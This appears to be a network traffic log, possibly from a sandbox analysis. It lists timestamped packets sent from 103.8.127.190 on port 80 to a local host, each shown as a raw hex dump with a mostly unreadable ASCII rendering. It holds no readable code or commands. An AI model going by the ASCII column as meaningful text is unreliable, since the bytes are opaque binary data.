Feb 27, 2014 17:55:43.009208918 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 15 24 8f 2a 57 3e 84 f4 df eb 4e eb 53 3d cf ec 9b ad de fe 07 02 f3 dc 1b bf cf 73 5c b0 4e 3b 9f 7f c8 2c 2e 01 c2 e2 1f 8d a9 8f 94 78 a7 51 57 26 4e 5a 16 3c 35 26 93 c7 25 ec 13 7d a5 ea 97 b1 35 74 57 2c 4a a0 c8 fc 09 cd 03 2f 84 ad 11 78 Data Ascii: $W>NS=s\N;,.xQW&NZ<5&%}5tW,J/x'.6{ mN<J_W~3[Vg!HS}=+2?W)$<dcm\BW)L*$ZdguJFi1	584
Feb 27, 2014 17:55:43.009313107 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6e a5 48 0c 91 d8 18 da 3a 8e c3 28 37 6d dd 99 15 ca cc 8d 9c bb ca 9e 73 92 02 ea 36 c0 3f 8d 17 ff c6 fc f2 64 4b d6 57 fb 2f 3a 36 5d f2 ff 41 f9 67 2c dd 1e de 68 00 66 60 08 36 f9 65 e3 e3 71 80 c0 53 d3 4e 8f 25 2f 6b 66 8b fa 85 11 17 e2 Data Ascii: nH:(7ms6?dKW/:6]Ag,hf`6eqSN%/kf'-o(+O<!S*l6%uat@}Z&Ane7Br1,MR<i+x/O@eQ2J<zk`:Bs,Lkp{,6j>iSZ$Qo96Ai a	585
Feb 27, 2014 17:55:43.053380966 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: f7 75 1f eb b6 9f 51 db f6 ec d7 4a 6a 60 78 51 37 b5 72 db ca 00 37 28 1a 78 60 c4 0c 8e bf 65 4a 4a 59 9b ef e8 a9 bc d5 ad 33 db 36 55 e3 1f cb 8b 22 78 5c 8e 56 48 5d a0 36 9f ff 8d 17 0c 54 cd 98 ea cf e0 af fb e2 08 36 bd 22 56 48 59 7e a8 Data Ascii: uQJj`xQ7r7(x`eJJY36U"x\VH]6T6"VHY~;J,n:+sl-kDE$M6c37NVj\|fJ+m.A~jXA'ok4>q'YShjcs%pW<#x6JTZfN	586
Feb 27, 2014 17:55:43.053386927 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 58 9a af 31 4c c8 54 79 db e6 6e bd cb b6 55 bf 09 ec 5f b9 99 1b f7 49 6c ef 94 f9 04 fc 95 fd d4 e8 15 ba 0a 99 af 5e 4f ba af 3a 09 2a 37 bd a7 7d d2 b3 ef ee 57 d3 6a c7 3d 38 fa a0 b1 bb c7 3e 17 66 0b 2b 6e f1 1f c5 bc fb 08 6a 55 ab 21 a8 Data Ascii: X1LTynU_Il^O:*7}Wj=8>f+njU!f~a&TNk MN\?cpgTlSlWR6_U}J-@^uK"o!eTBX8wkR8WSmNj-B	588
Feb 27, 2014 17:55:43.053400040 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 42 18 2d be 5d 07 a6 83 4a e3 da ad 05 13 0f 52 57 bc 5c e0 43 86 73 db e3 8c 13 f9 0a 0e f6 c7 50 ab b4 89 5a ee 80 b8 48 d9 35 4a b8 06 13 ec 4c 7a 36 f3 3b f1 5e 76 48 08 f2 d8 80 bc ce b6 78 1d 17 c6 1a 6e c7 b5 06 27 be f8 3c 8e 89 be 36 79 Data Ascii: B-]JRW\CsPZH5JLz6;^vHxn'<6yF91sa7_WC\#5r<5Ge5yJ,JhpdJ~yzj6P`djra3d%Zl_G3opS]e,#+r5SSJ+Z]dZ6fW	589
Feb 27, 2014 17:55:43.053402901 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: f5 af 97 9d 4b f7 5f 59 80 34 49 bc 4a ec 38 76 7b f4 b9 3d 51 a0 3d b9 4a 8f 97 f9 a2 ac 71 e3 4a 66 2f 6e 03 e6 27 cc 7f ec 3e b3 0a 44 47 b1 4a ef 17 f9 5e a6 4c 29 74 ed d8 79 6a 27 56 b9 02 ec 17 b0 5e ac 17 60 62 be 37 cb 03 4c 2a 79 e3 90 Data Ascii: K_Y4IJ8v{=Q=JqJf/n'>DGJ^L)tyj'V^`b7L*yW{,mFzDK,O"ylZ-9/XAgE-$9`0J8Y=nyZ1QJq~7{sON=jwwv@	590
Feb 27, 2014 17:55:43.053405046 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 0b b0 15 e6 fc 8f 4d 73 85 7d 3d ba cb 19 34 0a b1 fc 24 dd 26 3a 34 d9 5c 36 3d b9 f7 28 34 f8 6f ac 6b a1 be e8 80 c0 a8 0f 16 bc 69 ca 50 c6 21 ce 9e b1 0a eb 87 83 f5 58 3f af 69 44 17 ea f5 c8 ae a5 50 5c dd e9 05 33 fb 33 ef 8f 93 2b 81 ac Data Ascii: Ms}=4$&:4\6=(4okiP!X?iDP\33+{aWi1 x?&7$~4:FVWO'Bi/nlp"!nRX2N0a0e_1l@M/lV-kWxe:~\|%DVG(P4	592
Feb 27, 2014 17:55:43.053571939 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 8d df 29 75 7d ac ef 2c fc 30 25 ed 0a ed 16 fb c1 b0 3f d9 50 e5 1c 93 4a ea 2d 0d e2 2c b6 4d 4a a4 03 b9 a2 ac 7b 61 3e cc dd f9 3e d3 ef b9 90 25 bf ed 4a b8 17 f9 02 b8 03 b8 0a ec 2f a9 ff 2d 57 68 4b fc 17 f9 0a e4 17 f9 74 f5 2b cc 4a 06 Data Ascii: )u},0%?PJ-,MJ{a>>%J/-WhKt+Ju:bJt^2J\|W,^DWI][JT7,{tHV"BD_r3JEpp^WwD2}6@,i>bPmJ_y4KQayDW~Jo@	593
Feb 27, 2014 17:55:43.064235926 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 30 99 f1 28 96 9e 07 36 9d bc f5 3e 08 75 98 b2 5a 10 7f 8e d6 88 54 75 d7 af 07 3d 41 ed 6e 3f 08 3a 27 32 4a 45 5d 85 83 a5 6f c0 1a bc 14 79 97 e0 f2 bb f6 12 fb f1 8a 1d c6 9f 08 5e 1a 50 3c ac 5e db 22 b6 34 32 f6 5e 16 3d 08 20 14 60 7f 83 Data Ascii: 0(6>uZTu=An?:'2JE]oy^P<^"42^= `}@/E:SZJsImrn,A0'A_M^=yx^MbX]dZluV~)o+OQNdnN7m+Fq^rZ'T	595
Feb 27, 2014 17:55:43.064253092 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 04 2c 42 d8 4a 3b 02 b7 0e 4b 3b 60 c5 bc 70 af 04 cc 93 d8 68 33 44 f9 a4 05 46 aa 28 9d 44 39 4e 23 c0 0d 6b c8 15 a8 79 fd 15 d8 ac 8d cb 9c 13 62 41 b2 4a 84 8f 76 98 20 24 39 09 ae be bf 68 ce c5 52 82 15 44 e9 c6 e3 a7 76 3f 8e 14 b1 4c ac Data Ascii: ,BJ;K;`ph3DF(D9N#kybAJv $9hRDv?L&)MOb$ij5jKc9Hr(gh-z.4jnp^K<'1ZCH5M[o2x"vjI"J@bB,\|5{\n5aE5KN&Mk8o4c0Q*A	596
Feb 27, 2014 17:55:43.064256907 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 98 a8 16 bc 09 e2 9c 2a 0f 53 db d4 4e ec 2b 3f 09 04 14 a8 1c 3e 17 01 77 00 1a e0 cc 14 3f fd ca e9 33 bd 8b 15 77 9d 4b ec 23 9f 3b ed 93 d9 8f e8 33 f9 69 fd 26 97 21 e9 7c fd 5a a0 6e dd 28 6a 53 c1 aa c8 17 8f 8a e8 c6 c8 c3 a0 00 f1 1e d7 Data Ascii: SN+?>w?3wK#;3i&!\|Zn(jSn,=qiNm!DNU\|{_S(xB`X<_#4iVf:rFFd7b#G7JNlp=IXz<\SKa-o	598
Feb 27, 2014 17:55:43.064260006 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 89 fc df bb 0a a0 9f 19 9f ae 28 1f 68 aa 97 41 6f 9b 81 08 20 bc f1 db 4a fe d4 d1 ba f1 11 13 7e a8 e6 95 ec 8e 92 99 3e 39 39 f1 60 ee 22 6c 68 90 23 a8 7a ac 4b 68 4b 1a 61 9e ce 79 15 b7 fe 8e 0f 9d 0f 27 63 51 0a 18 23 11 07 e2 6a 2d 68 20 Data Ascii: (hAo J~>99`"lh#zKhKay'cQ#j-h 74T+Jn	598
Feb 27, 2014 17:55:43.075181961 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: bb 9f 68 40 8b 82 5a f1 bf fb 3e 29 35 70 13 55 33 ce 42 2c e6 b4 44 3b df 79 42 1a 35 f9 0e 9e a3 13 03 c3 3c 81 42 0d be 31 3e 8e a4 b1 cd e2 1f ad 7c 14 21 db 6f c2 5f db 0a 24 8d 8b 47 38 d3 cc 68 1e 37 3a 6a 0c c5 85 fc 8d c3 51 4a 68 9e 3d Data Ascii: h@Z>)5pU3B,D;yB5<B1>\|!o_$G8h7:jQJh=MpODWI6;z6!)-B'Q*=hZh"y67?Juk#o-pb6y<Ohu?RYIzhfFh/hFD.k	599
Feb 27, 2014 17:55:43.075189114 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 96 f1 05 71 1c 7f cf c4 79 6a 18 ec d4 bc 6d ff cf 62 0f 28 73 f9 12 26 52 7b ba 5c 1d 01 5a a2 6f 21 8c aa 92 72 72 85 07 47 27 2f c7 7c c9 73 0d cd 6a 0c a0 a1 14 04 91 7b 63 b7 17 2c f3 ee 62 cb e2 b2 ae f1 02 e5 2a bd c9 7b 6f f4 aa bc 1c ba Data Ascii: qyjmb(s&R{\Zo!rrG'/\|sj{c,b*{o!-z~~QHL}?J}ON1ArBUQ6oGI0Oy]@<V qsVJF2FjL+N7?;?dasO	601
Feb 27, 2014 17:55:43.075191975 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: e2 15 6a 69 06 7e 50 e9 71 d8 2b 81 07 0c 01 6c 72 ef 6b b8 17 a7 4a 91 11 75 9f d0 0e 58 a5 bc 59 42 68 d6 22 d8 92 09 df f9 97 99 d3 21 6e 7d a8 2a 4e 29 57 2e e3 a7 25 1d 14 9f 17 5f 4c af 6d d5 cb 24 3b fb f1 e8 35 9e 61 5b b3 a4 9b 2c 1f 9d Data Ascii: ji~Pq+lrkJuXYBh"!n}*N)W.%_Lm$;5a[,RqxO$RKy5qv7]3W\(J~M\rp40WI5JF/y.-bA<iZ0_+$V[N]hK_RJb,	601
Feb 27, 2014 17:55:43.331106901 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 2b 65 a8 75 c1 53 6c d9 68 b9 19 b8 5d ba 33 9a 63 ac 44 b9 06 8c bf a9 46 e7 37 3d 96 e2 39 9d ef 88 24 46 4a 7e 17 7e 41 4a 9f 3b 18 ad a1 dd 0e 83 00 58 4b e4 f3 79 dc 3d 65 e9 48 12 7f f9 d0 ad d4 dd fb 64 b4 ef ce 06 c3 fb af 4a 33 a9 45 7d Data Ascii: +euSlh]3cDF7=9$FJ~~AJ;XKy=eHdJ3E}wmSn]J1GM4\|Oo -KBYGc`No<$[$H1Xonozn-@2}1bki!*_"9-J4cxKK4NqMh^(HF?\|	603
Feb 27, 2014 17:55:43.331123114 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 8c 4d 1c 3c aa a7 aa 7a 8b ae 37 12 c2 c4 27 53 6a e5 02 cd 29 cc 3a 99 6c ba 7f d9 8a ad 37 b9 1e e9 f4 f8 4c 8d 4a 06 9a 6f 15 a7 9b bf b6 b2 48 ae 02 a1 8a af db af c1 0c e7 12 41 27 11 39 4e ae 37 89 4a 6a 13 c2 3e 88 1f 8b a5 bc 49 3a 1c 27 Data Ascii: M<z7'Sj):l7LJoHA'9N7Jj>I:'yl{EL+0(9TyZ,7?70 Afk9+(jOqjW%lo?T5L9s>w\|}"6\|X86yZQ8OL[Lz7,?mX{D	604
Feb 27, 2014 17:55:43.331125975 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 7e 0e 54 58 9b 82 2c 3a c3 e8 22 19 ab 89 10 c1 52 1c 1a 8c 0a af 9e 8c b6 27 42 2b e0 ff 57 aa c7 d1 e3 11 44 7c 25 72 5e e9 ef 39 6e 91 27 fe 75 df 5d f9 c1 e1 e3 7a b3 53 64 bb 4a 27 ef 38 ad ae 9a fd 45 2c 2c 38 38 9a 47 11 b2 2c 11 79 c1 5c Data Ascii: ~TX,:"R'B+WD\|%r^9n'u]zSdJ'8E,,88G,y\,>I<Q="1;wqI\|3leD*$y: Jg(.c61hSybiK XWE)H'E?MHe7,rIiqR)rw<Aj	606
Feb 27, 2014 17:55:43.331129074 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 88 b1 96 a7 b5 7f 9e 7f 4b 0b 95 91 52 53 62 1d cb ab 16 80 c3 d2 67 f9 8c 2a df f9 4a ac 54 3f 4e 2a 5c 79 4d ef af 49 46 e9 47 f9 c3 ea 7f 79 74 ac 97 e2 20 ac 1b 11 78 a4 17 f9 13 2f 17 9c b6 ac 9c bc 46 25 51 bb 26 ac 78 f1 eb 14 05 f8 58 c0 Data Ascii: KRSbgJT?N\yMIFGyt x/F%Q&xXW<Qj>J,Y:J6yBSzx[;)\\|Y^WQNO>39E]9\|}DUN_VDPejI:D`JUB	607
Feb 27, 2014 17:55:43.331223965 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 19 27 0a 71 4a a4 53 af f4 bd 16 ae c1 92 67 ae 59 ac 94 87 4e ad 63 f4 1d 53 b7 2a 1d 44 82 ea 4a be 31 e9 17 ac d1 f1 cb 52 07 f2 0f ac 53 85 96 3e 15 a6 c1 aa 47 e3 43 ed 86 fb 3f af 47 06 99 5b 16 1f 4e f2 4c 18 77 27 52 f1 b5 98 b5 3c eb ae Data Ascii: 'qJSgYNcSDJ1RS>GC?G[NLw'R<#-~N7Hs\|(TD`KkgJN'$}#''qWbzSF9F}@DN%Js$f.]<XuCpH)XKYs[GDX9@ow`	609
Feb 27, 2014 17:55:43.331612110 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 47 00 46 09 5f 4d 17 fa 80 ac 2e b4 96 d1 0e 72 07 70 16 29 5f 27 40 a5 c3 e8 06 f1 ca 53 52 25 a1 77 ff 3f 3a 0f 03 70 4c 59 0b ec 1e a8 08 06 3d ac 73 aa b5 f9 f7 a0 a1 b5 16 69 5f 27 6a 21 c9 d1 f3 f9 de d8 1f d9 bc e9 a7 ca 13 6f a5 f8 5b 27 Data Ascii: GF_M.rp)_'@SR%w?:pLY=si_'j!o['BL'Ri%Pz#Bkj0!:UEJScNSSylW;B^wEYySJHR1SNr?Hqkcl/^/jK6JSJJG_CTA	610
Feb 27, 2014 17:55:43.364253044 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: d3 f5 61 ac d1 73 46 b4 9f f2 09 e1 37 8c bd 21 99 e4 4a ab a9 f9 4b 2c 17 73 5e ad 9f e8 0b e2 37 8c bd f3 49 a4 6a c0 9a 55 4a 88 73 02 b5 53 96 15 56 a5 b7 a8 eb 64 57 dc 79 69 9e 7c 48 34 17 f7 19 fb 9a bc ce fc 03 06 3c 4c da 1d ca 06 92 39 Data Ascii: asF7!JK,s^7IjUJsSVdWyi\|H4<L9E(9WqB(aW}j7a!JrE1EamW8}DJ6&lb{5F!Ra!nDO@Lb"O.)3NcD	612
Feb 27, 2014 17:55:43.364268064 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 62 de 73 a9 f3 f9 5d b8 61 e6 3a e6 e7 e9 49 21 91 11 7f ac 48 c2 09 ad 14 79 62 7c 07 72 ba 6c 62 30 c1 6b 48 a7 b8 af 05 8e 28 b8 26 f9 a2 a8 0b a8 4e 2c 2f 7c 24 53 68 fd 35 a8 66 fd 8b da 13 e9 4e bc 0e c8 4a 44 cb ab 4e 1c 1f a0 3f 81 f7 c0 Data Ascii: bs]a:I!Hyb\|rlb0kH(&N,/\|$Sh5fNJDN?yGY:@Kl*r'<,E.euEEJJ[HI/8S3l~SJ<>}zF/Id7n)_3t:J<OJJ'i	613
Feb 27, 2014 17:55:43.364270926 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 16 70 17 a0 62 f9 3e 6d ed fd 00 2f ed c6 4a da 14 93 75 f6 9c b2 4e ac 2c b2 42 d9 55 7a b0 8c 15 42 8a bf 97 8a 53 27 dd 2a 4a 47 9a b5 48 a8 e0 2a 6b 2c 4b 41 0e 52 1e 8c 69 ac 07 79 6b b5 fc e5 c7 e6 f7 df 49 80 8b 41 6b dc 97 fa 4c 2d 14 a0 Data Ascii: pb>m/JuN,BUzBS'JGHk,KARiykIAkL-NF'DXF'<pw}Zz,E)vbjN}'<'I,/J7>F'fJf?j\2Bc_?6xX$Z__Wp	614
Feb 27, 2014 17:55:43.364273071 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 07 74 06 9d eb 58 04 f3 9c a4 ca 58 9a e5 b1 25 4a e9 8a fd 16 08 49 f1 07 70 13 a4 9e b2 58 a8 c6 bd 01 a4 47 f9 71 f5 1f 59 3f fb 9d b5 4d bc 53 ea 5a e8 15 06 5a e8 10 fd 39 b0 97 84 40 bf 06 bd 85 b5 53 74 0e 3c 53 e9 c1 63 fc d9 f8 ad 07 74 Data Ascii: tXX%JIpXGqY?MSZZ9@St<SctK)Z!S%pBBp}yl*f>iOYtNDz6ZR9{K.9[=?.b>\nskKb9.=.ABHwIp	616
Feb 27, 2014 17:55:43.364275932 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 0b bc 4a 53 02 f9 1b ac 53 f9 c1 5c 9c 3f a2 c6 66 f9 08 6f 24 06 ca ee 17 e1 ca 87 2a fb 9d 2c 31 3a 20 ae ff 07 a8 ae ec f9 4e f9 9a 55 6e f4 ea d9 b5 53 96 15 62 2c f6 58 82 ac 05 bc 4a 9f d2 70 cf 08 57 fb 4a ac e1 fc 9a 2c 11 f8 4a fa 63 f1 Data Ascii: JSS\?fo$*,1: NUnSb,XJpWJ,Jc -)JeqE(j%q3tl62%j, Ulqu8g{, z#,rW)K%ey!%iWjGp y GP(yHytt}JJWp?	617
Feb 27, 2014 17:55:43.364478111 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 00 c2 a4 d9 15 fa aa f2 94 3e 45 2f f0 09 4e fb 41 7d 3f 7f 9c 09 cf 5a 17 8c 6c 95 12 bd 6b e9 17 f9 20 a0 48 8d 47 f9 ff 8c 4e 77 ec a9 3b f5 62 78 a1 ab 93 11 c1 1c 17 70 72 44 93 9b 4a e4 48 72 8c be 9c 11 19 4c 17 a0 0e 44 78 a9 4a 6b 17 f5 Data Ascii: >E/NA}?Zlk HGNw;bxprDJHrLDxJk$m}6<}$+],F9v*yX\|y'EF'pI@yw/~l?BrO^\|mQH]qsBD,&?Al[![H>	618
Feb 27, 2014 17:55:43.375004053 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 5a c4 77 28 5b ca 54 39 4a 1c 9c 7c 91 d9 19 d9 6d 44 f5 fd 5a a6 4e 10 86 0c 25 a9 4e 2c 0f 59 46 ff ff 36 ab 8d 16 4e db de 06 ba 45 a3 92 6a 8a ac 24 06 c3 ce 6a 48 5a a3 90 73 9a ac 17 fe 56 b6 d8 fc df 19 a6 87 48 39 18 7d d4 af 06 c6 c9 84 Data Ascii: Zw([T9J\|mDZN%N,YF6NEj$jHZsVH9}^w\BI^G"RDL'm'T,?8?K /\N\|j?'L!y7OVOSb^rd^b rT&G9[EXyr7HFf?t	619
Feb 27, 2014 17:55:43.375009060 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4b 5c d7 f8 ba 6c 16 0d 1f 6c 16 0d 8a ad ef 39 4b 54 d7 f8 b6 8d d7 f8 b6 21 13 74 ca 92 17 fa 02 5c 14 01 4e b7 9c 06 4b 91 7b ac 8a ac 6f 39 4a 20 56 fd 0f 6c 46 30 b6 6f 87 b8 62 65 15 ba 75 e8 13 38 3f e5 53 fa ca ef d2 f3 c7 d8 26 05 c7 d0 Data Ascii: K\ll9KT!t\NK{o9J VlF0obeu8?S&vM MY:.8.X@ls4$PBUU$8lh> BW?vq1C>&BCE.AS2\lMlE9J`!VRl9KB	621
Feb 27, 2014 17:55:43.375021935 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 5d d9 17 f1 b5 7f 9c 09 71 5b 62 f0 1a 9e fe 28 38 b7 02 16 b5 53 17 c2 8d f5 63 f0 8d ac ca fb 97 ec 23 39 42 25 52 1d a1 ac 14 70 37 48 2e 84 ae d8 37 21 c7 a8 21 a9 ba af f3 11 3e bc f0 cb 69 fa a7 f9 a0 a8 d7 f3 35 2c 9c a4 86 97 c8 8d 57 2d Data Ascii: ]q[b(8Sc#9B%Rp7H.7!!>i5,W-V_IDL.'KwH^vN[BjGHDlDR+ZJGz7pO%gD{!r9KQKQJDhBJrqbmHH'J>	622
Feb 27, 2014 17:55:43.375355005 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 70 4c 63 f0 48 15 57 e9 b5 de 15 0e 93 27 4b 38 11 1d 89 5e 93 ae 17 af 6b 20 1c 61 8a d9 3f f9 34 2c bf dd 46 5c 0d e1 bb 27 cf a8 c1 dc 17 09 c1 6f 53 0e 2e dc 16 31 c1 6a 66 f9 49 84 c6 12 0d 1c 17 a5 5a ad 43 dd 4b 4c bd dd 42 7d fe 28 91 7d Data Ascii: pLcHW'K8^k a?4,F\'oS.1jfIZCKLB}(}t0?X'HJ"Dg=E<Ya,B<v!J/f*NL?^YCJMsjUm!snTsDrm5+5_D-2>c	623
Feb 27, 2014 17:55:43.375359058 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 62 64 37 1b 0a 59 17 e4 4f 85 b1 fd 5a 75 af 67 0e ca 3f 9a d7 04 37 63 c0 ef 60 30 cf 84 20 e6 46 5e e9 79 cf 88 3f d8 5d cb 97 d9 5b e6 77 33 0b 49 30 2e 55 ac a3 10 f3 e0 77 01 68 e8 56 3f 6d dc 27 6f 28 63 d3 de 09 8c d8 2d 83 4e d2 bc 6d dc Data Ascii: bd7YOZug?7c`0 F^y?][w3I0.UwhV?m'o(c-Nm^0`D1`^DQb;H:4KTtjRS#aTP^)2F\|TnM'HG.B2o:2Y>jyBE.Bn&9PW	625
Feb 27, 2014 17:55:43.375484943 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 8e bf 32 cc 26 25 6a e1 1f 2a 30 38 c1 4e 04 6e 8a e6 57 66 f5 6c 4f 3d 1e 5b 59 9a 6a fd 56 03 a1 56 82 ea 21 f0 97 9b 2f 86 eb 15 15 08 61 ea 4a a1 92 ee 0a 40 b9 bd 2a ae 94 ac 59 c1 5c d3 65 85 a6 f8 Data Ascii: 2&%j08NnWflO=[YjVV!/aJ@Y\e	625
Feb 27, 2014 17:55:43.386090994 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 2c bf 56 9d 2f 7d 53 14 79 28 32 0c df bf 0c 91 56 e5 51 ea 6a a7 15 98 b0 5e 13 ea 94 e0 57 c5 04 f6 fc 15 30 79 05 f2 0a 17 e2 ab 08 92 5b 1d 58 74 07 01 63 13 7e 1c 58 0a 46 ad 42 e4 3a 71 fc be 75 16 6e a8 97 8a 0e 43 cd cc 76 92 14 ea ca ac Data Ascii: ,V/}Sy(2VQj^W0y[Xtc~XFB:qunCv_~jzVx10N`N"\|_WAbs?y%W.(IQSw)S$\zV_Ynr,9Eq.y>\Rq2i=zQ	627
Feb 27, 2014 17:55:43.386096001 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 7f 3d 97 d8 4f 8b c4 59 00 7a 72 df 5c bd 57 33 03 d0 1e f0 19 0f 31 e8 2a 1b 92 33 d3 28 17 75 68 8a 6f f9 c2 cc 99 f1 1a e5 0a 25 4e ec 74 bc 6c 41 eb 7e 1e 09 56 9f 6c 23 46 82 82 24 f2 dc 83 ac 51 32 a7 a2 32 54 47 c4 96 1f 6f 5d 0c c7 83 8e Data Ascii: =OYzr\W31*3(uho%NtlA~Vl#F$Q22TGo]so,,W1y?0M9rdl<[]Tu9bU+V<nySWPI'xI3obK3JlS^6nj4,3,\|^YQ4t34~n+URpJT\K4Ses(0RI3	628
Feb 27, 2014 17:55:43.386109114 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 59 2c 3e d9 fa 13 64 b0 91 29 04 da d9 ac 79 10 60 22 5a 65 5b be 16 2c 59 dc d7 a7 aa 4e 17 0c 4c be 47 a2 f9 bf 09 be db 2f 23 f1 31 f7 66 7a 59 d1 6f bd 5b a8 d3 d7 ce bf 8e ac 1a 34 f3 9b 23 09 04 73 49 88 c7 ec ee bf c4 c9 1f ec bf dd 3a c2 Data Ascii: Y,>d)y`"Ze[,YNLG/#1fzYo[4#sI:ep%[t8_mJ0GUvDuJj=Y[89T2,;8_>4\l$bKd5:"	629
Feb 27, 2014 17:55:43.408076048 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 17 0c 5e f7 c2 c9 33 e3 57 fd 48 87 17 ea 4a 86 17 af ea 30 b4 9f 54 c6 eb e9 59 ac 19 09 4a 7c 17 b9 51 a4 3f 87 cc ac 50 ef 4a 5c 01 f9 44 ac ae 6f 89 70 54 b9 ca 37 33 12 4a a2 19 f7 cb 8d 97 b4 46 34 3d b9 0a be 95 d6 48 a2 97 92 c9 33 44 f1 Data Ascii: ^3WHJ0TYJ\|Q?PJ\DopT73JF4=H3Dl=H!jl/4S.h}2:=6~c;`Mk{W0)~Sy@R\|A{4{B2wa}ay$!Ny3}+J	630
Feb 27, 2014 17:55:43.408081055 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: d4 c9 ee c9 05 dd a1 99 05 79 4e bb 18 8b ac 6c 1e 5a 58 bc ef 9b cc 84 23 eb 6d 78 6a e9 c3 05 35 df 1f be 52 b9 46 ec 60 07 1d fe 90 50 1c be ef f9 28 3d bf 37 29 cc 57 ef 49 8c 41 4a 58 dd 3d fb 2d ae 57 fb 2a 1a 05 e0 82 cb 4c b1 da 8c 40 56 Data Ascii: yNlZX#mxj5RF`P(=7)WIAJX=-W*L@Vt#<Xy\|#~oXn ?EFVYax`9PlSg_)"?ES1Vn!$A\.YhV$6\|Y+sF:iWWg]:Xs;V	632
Feb 27, 2014 17:55:43.408083916 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 17 f7 44 a2 16 bf 6b ec 17 fd fc 5e 12 a1 48 f1 19 38 4a 7c 12 14 6e 1a 57 f9 43 ac b0 f9 14 9a d8 98 03 14 53 f7 56 a6 39 f9 6d ac e4 f9 19 a5 0f 9b 4a 2e 17 d1 6f 5c e7 f9 44 ad 17 c9 6e b0 93 b5 c3 a9 06 c9 1b d4 b2 32 ca c0 16 a6 4a bc 97 e7 Data Ascii: Dk^H8J\|nWCSV9mJ.o\Dn2JWKXJz(7,WI4_j-G9au$M")YaeIH)v(9uI0'SHcdH#cbdU.rgNS\|{k$.SZky)cOjy	633
Feb 27, 2014 17:55:43.408279896 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 37 bd e5 2d ae 93 9c 28 5e 46 4a 96 6c 7d 3a a3 c7 a9 f5 2e c4 7f 59 6f 19 f0 14 2b 52 ea 8a f8 8e a7 ab ee d6 a9 26 f8 04 f9 9a 09 55 fb b4 ae 13 5d 4e 27 1f fc 06 94 21 c7 64 43 97 29 03 9c 57 73 4a 01 82 ea 4a e9 98 a0 f5 48 87 71 87 ae e0 5d Data Ascii: 7-(^FJl}:.Yo+R&U]N'!dC)WsJJHq]YF~H)	633
Feb 27, 2014 17:55:43.419126034 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: da e6 be 39 fa 8c 27 cc 0e ce dd 3f 59 ed 2e f9 eb 1d 5d b3 9e e8 c4 98 4b 8f 03 38 4a 8f 3c 7b 8b ac 55 db 49 b8 b6 be 0a bc e2 ea 01 a0 7e d5 db d3 65 f8 63 6c 55 72 c8 c1 92 ea cc ec 2b 46 21 ff 04 f9 c8 dd e3 9b 4c ec 4e 69 4e c1 b1 8c 59 6c Data Ascii: 9'?Y.]K8J<{UI~eclUr+F!LNiNYl,S[LY_J@;jPYYB/YHaNY%1xJjuK-YWu{8C"G-FkYvRh+wFKwqlpYf-T	635
Feb 27, 2014 17:55:43.419131041 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 85 ac aa 2a 78 f3 47 5c 13 eb 16 7d d9 fb 25 dd 06 e7 8b 2b 48 10 92 6a bf 69 d6 9d 00 c8 14 f9 c1 28 83 be 18 00 6f b0 ee a8 8a a5 cf 3f 10 d1 99 fc 22 fd ba 15 11 6c d5 12 f5 26 29 ad 92 6c 5b 84 46 fd 0d de 92 f8 cc 3a 6e a4 f5 df 22 9a 86 a8 Data Ascii: xG\}%+Hji(o?"l&)l[F:n"4FG:1Pt4(e!N7<PPd8[rcs)/9gHnRpGbL8h>T_Ki\kR9@$gjfOo\b;	636
Feb 27, 2014 17:55:43.419224024 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 7e fe c2 ea 56 ac 49 e1 9b d1 15 e9 0a 15 96 3f 59 9b 75 39 ca 7e 1f 3a 59 ac c4 3a a8 24 f6 cb 22 5e 13 64 6c 7f 04 a6 f8 19 f6 03 6a 2e 75 79 49 48 82 ea 22 36 13 1d af 99 04 a5 39 25 4a f9 6a 51 41 1d dc e9 92 ea ee 1a 1f ee 12 04 84 ea 1e 7b Data Ascii: ~VI?Yu9~:Y:$"^dlj.uyIH"69%JjQA{WB\V)\|YOIZ'J\Od{@,:R'iXq_!ipYf1O_M<8RR"qnro+"Ki,']9On'XL'1(a_YK	637
